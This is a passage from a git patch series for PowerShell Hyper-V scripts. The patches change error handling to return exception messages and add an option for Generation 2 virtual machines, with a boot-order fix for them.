"$VMLocation\$VMName\Virtual Hard Disks\$VMName-Disk1.vhdx" -SizeBytes $VMDiskSize + Add-VMHardDiskDrive -VMName $VMName -Path "$VMLocation\$VMName\Virtual Hard Disks\$VMName-Disk1.vhdx" } catch { - Write-Host "Was not able to do my stuff" - Write-Error $_.Exception.Message + return $_.Exception.Message } finally { diff --git a/Hyper-V/Remove-VirtualMachine.ps1 b/Hyper-V/Remove-VirtualMachine.ps1 index 1d069c5..3b13710 100644 --- a/Hyper-V/Remove-VirtualMachine.ps1 +++ b/Hyper-V/Remove-VirtualMachine.ps1 @@ -70,8 +70,7 @@ } catch { - Write-Host "Was not able to do my stuff" - Write-Error $_.Exception.Message + return $_.Exception.Message } finally { From 77537bd4282573e8190306225b6488febdf12dec Mon Sep 17 00:00:00 2001 From: Tom-Inge Larsen Date: Mon, 30 Jan 2017 16:01:53 +0100 Subject: [PATCH 11/11] Added possibility to add Gen2 VMs --- Hyper-V/New-DifferencingVM.ps1 | 42 +++++++++++++++++++++------------- 1 file changed, 26 insertions(+), 16 deletions(-) diff --git a/Hyper-V/New-DifferencingVM.ps1 b/Hyper-V/New-DifferencingVM.ps1 index d2855ce..9d7bf9a 100644 --- a/Hyper-V/New-DifferencingVM.ps1 +++ b/Hyper-V/New-DifferencingVM.ps1 @@ -17,7 +17,7 @@ New-DifferencingVM -VMName Customer1 -VMLocation "D:\VirtualMachines" -VMNetwork EXT-Wireless -VMOS Windows10 -VMMemory 2048MB -VMDiskSize 60GB #> { - [CmdletBinding(DefaultParameterSetName="VMOS")] + [CmdletBinding(DefaultParameterSetName="VMOS")] [Alias()] [OutputType([int])] Param @@ -25,7 +25,7 @@ [Parameter(Mandatory=$true, ValueFromPipelineByPropertyName=$true)] $VMName, - + [Parameter(Mandatory=$true,ParameterSetName="VMOS")] [ValidateSet("Windows10","Server2012R2")] $VMOS, @@ -35,42 +35,47 @@ [Parameter(Mandatory=$false,ParameterSetName="ParentVHDPath")] $ParentVHD, - + #A valid format is 2048MB, Default is 2048MB [Parameter(Mandatory=$false)] $VMMemory=2048MB, - + #A valid format is 60GB [Parameter(Mandatory=$false)] - $VMDiskSize=60GB + $VMDiskSize=60GB, + + #Option to select VM Generation + [Parameter(Mandatory=$false)] + [ValidateSet("1","2")] + $VMGeneration = "1" ) DynamicParam { # Sets the dynamic parameters name $ParameterName = 'VMNetwork' - + # Create a dictionary $RuntimeParameterDictionary = New-Object System.Management.Automation.RuntimeDefinedParameterDictionary - + # Create a collection of attributes $AttributeCollection = New-Object System.Collections.ObjectModel.Collection[System.Attribute] - + # Create and set the parameters' attributes $ParameterAttribute = New-Object System.Management.Automation.ParameterAttribute $ParameterAttribute.ValueFromPipeline = $true $ParameterAttribute.ValueFromPipelineByPropertyName = $true $ParameterAttribute.Mandatory = $true - + # Add the attributes to the attributes collection $AttributeCollection.Add($ParameterAttribute) - + # Generate and set the ValidateSet $arrSet = (Get-VMSwitch).Name $ValidateSetAttribute = New-Object System.Management.Automation.ValidateSetAttribute($arrSet) - + # Add the ValidateSet to the attributes collection $AttributeCollection.Add($ValidateSetAttribute) - + # Create and return the dynamic parameter $RuntimeParameter = New-Object System.Management.Automation.RuntimeDefinedParameter($ParameterName, [string], $AttributeCollection) $RuntimeParameterDictionary.Add($ParameterName, $RuntimeParameter) @@ -89,18 +94,23 @@ { $ParentVHD = "D:\HYPERV-MasterImages\Win10Ent1607x64MasterDisk\Win10Ent1607x64MasterDisk.vhdx" } - + if($VMOS -eq "Server2012R2") { $ParentVHD = "D:\HYPERV-MasterImages\Server2012R2\Server2012R2.vhdx" } } - + try { - New-VM -Name $VMName -MemoryStartupBytes $VMMemory -SwitchName $VMNetwork -Path $VMLocation -NoVHD + New-VM -Name $VMName -MemoryStartupBytes $VMMemory -SwitchName $VMNetwork -Path $VMLocation -NoVHD -Generation $VMGeneration New-VHD -ParentPath $ParentVHD -Differencing -Path "$VMLocation\$VMName\Virtual Hard Disks\$VMName-Disk1.vhdx" -SizeBytes $VMDiskSize Add-VMHardDiskDrive -VMName $VMName -Path "$VMLocation\$VMName\Virtual Hard Disks\$VMName-Disk1.vhdx" + + #Correct boot order on Gen2 VMs + if ($VMGeneration -eq "2") { + Set-VMFirmware $VMName -BootOrder (Get-VMHardDiskDrive $VMName),(Get-VMNetworkAdapter $VMName) + } } catch { @@ -113,4 +123,4 @@ End { } -} +} \ No newline at end of file